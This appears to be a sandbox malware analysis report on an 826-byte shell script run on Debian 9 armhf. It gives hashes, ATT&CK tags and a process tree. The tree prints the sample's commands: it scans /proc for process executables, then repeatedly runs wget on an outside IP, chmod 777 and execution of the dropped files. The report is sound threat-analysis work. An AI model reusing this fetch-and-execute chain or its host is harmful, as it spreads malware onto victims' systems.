4cfbd57289d0d26ce9be0a5c60d1b697e202bf7111d274740112b1edfce25a4d

Analysis

max time kernel
6s
max time network
8s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
05/06/2026, 08:46

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General

Target
_4cfbd57289d0d26ce9be0a5c60d1b697e202bf7111d274740112b1edfce25a4d.sh
Size 826B
Sample260605-kppcvsdz3m
SHA256 4cfbd57289d0d26ce9be0a5c60d1b697e202bf7111d274740112b1edfce25a4d
MD5 11741e4adafd94a45981e4719e6705f9
SHA1 961acc931f927f1f197baacf7beb503731c7a9fc
SHA512 a76b3bc028e9b4c3186a7c2337616b5ef261b8f2cfbe38a220c9b59b6dfb1a523184e23a812d2fe3b2323958ea8b6b2f783f8578b43905338ce8c04fc17f9302
TLSH
T16D016FD98116E7504189E89E22D751907420C3CB65454BB87F9C443DEBB97487169FA8
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
780	chmod
786	chmod
821	chmod
826	chmod
831	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/9hF	781	_4cfbd57289d0d26ce9be0a5c60d1b697e202bf7111d274740112b1edfce25a4d.sh
/tmp/Bqj	787	_4cfbd57289d0d26ce9be0a5c60d1b697e202bf7111d274740112b1edfce25a4d.sh
/tmp/4qGx	822	_4cfbd57289d0d26ce9be0a5c60d1b697e202bf7111d274740112b1edfce25a4d.sh
/tmp/9eB	827	_4cfbd57289d0d26ce9be0a5c60d1b697e202bf7111d274740112b1edfce25a4d.sh
/tmp/dPO	832	_4cfbd57289d0d26ce9be0a5c60d1b697e202bf7111d274740112b1edfce25a4d.sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/4qGx	wget
File opened for modification	/tmp/9eB	wget
File opened for modification	/tmp/dPO	wget
File opened for modification	/tmp/p	_4cfbd57289d0d26ce9be0a5c60d1b697e202bf7111d274740112b1edfce25a4d.sh
File opened for modification	/tmp/9hF	wget
File opened for modification	/tmp/Bqj	wget

/tmp/_4cfbd57289d0d26ce9be0a5c60d1b697e202bf7111d274740112b1edfce25a4d.sh
/tmp/_4cfbd57289d0d26ce9be0a5c60d1b697e202bf7111d274740112b1edfce25a4d.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:641
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  - Reads runtime system information
  PID:644
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  - Reads runtime system information
  PID:651
- /bin/ls
  ls -l /proc/105/exe
  2⤵
  PID:657
- /bin/ls
  ls -l /proc/107/exe
  2⤵
  - Reads runtime system information
  PID:663
- /bin/ls
  ls -l /proc/108/exe
  2⤵
  - Reads runtime system information
  PID:665
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:667
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:669
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:672
- /bin/ls
  ls -l /proc/134/exe
  2⤵
  - Reads runtime system information
  PID:674
- /bin/ls
  ls -l /proc/135/exe
  2⤵
  - Reads runtime system information
  PID:675
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:676
- /bin/ls
  ls -l /proc/143/exe
  2⤵
  - Reads runtime system information
  PID:677
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:678
- /bin/ls
  ls -l /proc/157/exe
  2⤵
  - Reads runtime system information
  PID:680
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:681
- /bin/ls
  ls -l /proc/166/exe
  2⤵
  - Reads runtime system information
  PID:682
- /bin/ls
  ls -l /proc/168/exe
  2⤵
  - Reads runtime system information
  PID:683
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  - Reads runtime system information
  PID:684
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  - Reads runtime system information
  PID:685
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:686
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:687
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:688
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  - Reads runtime system information
  PID:689
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:690
- /bin/ls
  ls -l /proc/227/exe
  2⤵
  - Reads runtime system information
  PID:691
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  - Reads runtime system information
  PID:692
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:693
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  - Reads runtime system information
  PID:694
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  - Reads runtime system information
  PID:695
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  - Reads runtime system information
  PID:696
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  - Reads runtime system information
  PID:697
- /bin/ls
  ls -l /proc/287/exe
  2⤵
  - Reads runtime system information
  PID:698
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  - Reads runtime system information
  PID:699
- /bin/ls
  ls -l /proc/290/exe
  2⤵
  - Reads runtime system information
  PID:700
- /bin/ls
  ls -l /proc/292/exe
  2⤵
  PID:701
- /bin/ls
  ls -l /proc/295/exe
  2⤵
  - Reads runtime system information
  PID:702
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  - Reads runtime system information
  PID:703
- /bin/ls
  ls -l /proc/305/exe
  2⤵
  - Reads runtime system information
  PID:704
- /bin/ls
  ls -l /proc/306/exe
  2⤵
  - Reads runtime system information
  PID:705
- /bin/ls
  ls -l /proc/308/exe
  2⤵
  - Reads runtime system information
  PID:706
- /bin/ls
  ls -l /proc/317/exe
  2⤵
  - Reads runtime system information
  PID:707
- /bin/ls
  ls -l /proc/323/exe
  2⤵
  - Reads runtime system information
  PID:708
- /bin/ls
  ls -l /proc/332/exe
  2⤵
  - Reads runtime system information
  PID:709
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:710
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  - Reads runtime system information
  PID:711
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  - Reads runtime system information
  PID:712
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  - Reads runtime system information
  PID:713
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  - Reads runtime system information
  PID:714
- /bin/ls
  ls -l /proc/565/exe
  2⤵
  - Reads runtime system information
  PID:715
- /bin/ls
  ls -l /proc/577/exe
  2⤵
  - Reads runtime system information
  PID:716
- /bin/ls
  ls -l /proc/580/exe
  2⤵
  - Reads runtime system information
  PID:718
- /bin/ls
  ls -l /proc/584/exe
  2⤵
  - Reads runtime system information
  PID:720
- /bin/ls
  ls -l /proc/585/exe
  2⤵
  - Reads runtime system information
  PID:723
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  - Reads runtime system information
  PID:724
- /bin/ls
  ls -l /proc/629/exe
  2⤵
  - Reads runtime system information
  PID:727
- /bin/ls
  ls -l /proc/632/exe
  2⤵
  - Reads runtime system information
  PID:729
- /bin/ls
  ls -l /proc/633/exe
  2⤵
  - Reads runtime system information
  PID:731
- /bin/ls
  ls -l /proc/637/exe
  2⤵
  - Reads runtime system information
  PID:734
- /bin/ls
  ls -l /proc/638/exe
  2⤵
  - Reads runtime system information
  PID:736
- /bin/ls
  ls -l /proc/640/exe
  2⤵
  - Reads runtime system information
  PID:738
- /bin/ls
  ls -l /proc/641/exe
  2⤵
  - Reads runtime system information
  PID:741
- /bin/ls
  ls -l /proc/642/exe
  2⤵
  - Reads runtime system information
  PID:743
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:745
- /bin/ls
  ls -l /proc/76/exe
  2⤵
  - Reads runtime system information
  PID:747
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  - Reads runtime system information
  PID:749
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  - Reads runtime system information
  PID:752
- /bin/ls
  ls -l /proc/98/exe
  2⤵
  - Reads runtime system information
  PID:754
- /bin/rm
  rm -rf 9hF
  2⤵
  PID:756
- /usr/bin/wget
  wget http://188.132.232.81/9hF
  2⤵
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod 777 9hF
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/9hF
  ./9hF pdvr
  2⤵
  PID:781
- /bin/sh
  /bin/sh ./9hF pdvr
  2⤵
  PID:781
- /bin/rm
  rm -rf Bqj
  2⤵
  PID:783
- /usr/bin/wget
  wget http://188.132.232.81/Bqj
  2⤵
  - Writes file to tmp directory
  PID:784
- /bin/chmod
  chmod 777 Bqj
  2⤵
  - File and Directory Permissions Modification
  PID:786
- /tmp/Bqj
  ./Bqj pdvr
  2⤵
  PID:787
- /bin/sh
  /bin/sh ./Bqj pdvr
  2⤵
  PID:787
- /bin/rm
  rm -rf 4qGx
  2⤵
  PID:789
- /usr/bin/wget
  wget http://188.132.232.81/4qGx
  2⤵
  - Writes file to tmp directory
  PID:790
- /bin/chmod
  chmod 777 4qGx
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/4qGx
  ./4qGx pdvr
  2⤵
  PID:822
- /bin/sh
  /bin/sh ./4qGx pdvr
  2⤵
  PID:822
- /bin/rm
  rm -rf 9eB
  2⤵
  PID:824
- /usr/bin/wget
  wget http://188.132.232.81/9eB
  2⤵
  - Writes file to tmp directory
  PID:825
- /bin/chmod
  chmod 777 9eB
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/9eB
  ./9eB pdvr
  2⤵
  PID:827
- /bin/sh
  /bin/sh ./9eB pdvr
  2⤵
  PID:827
- /bin/rm
  rm -rf dPO
  2⤵
  PID:829
- /usr/bin/wget
  wget http://188.132.232.81/dPO
  2⤵
  - Writes file to tmp directory
  PID:830
- /bin/chmod
  chmod 777 dPO
  2⤵
  - File and Directory Permissions Modification
  PID:831
- /tmp/dPO
  ./dPO pdvr
  2⤵
  PID:832
- /bin/sh
  /bin/sh ./dPO pdvr
  2⤵
  PID:832
- /bin/rm
  rm -rf p
  2⤵
  PID:834

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

9hF

Path /tmp/9hF
Size 3B
SHA256 6bdf66b5bf2a44e658bea2ee86695ab150a06e600bf67cd5cce245ad54962c61
MD5 bc949ea893a9384070c31f083ccefd26
SHA1 cbb8391cb65c20e2c05a2f29211e55c49939c3db
SHA512 e4288e71070485637ec5825f510a7daa7e75ef6c71a1b755f51e1b0f2e58e5066837f58408ea74d75db42c49372c6027d433a869904fc5efaf4876dfcfde1287
MD5 SHA1 SHA512

Submit Download

Path /tmp/p
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512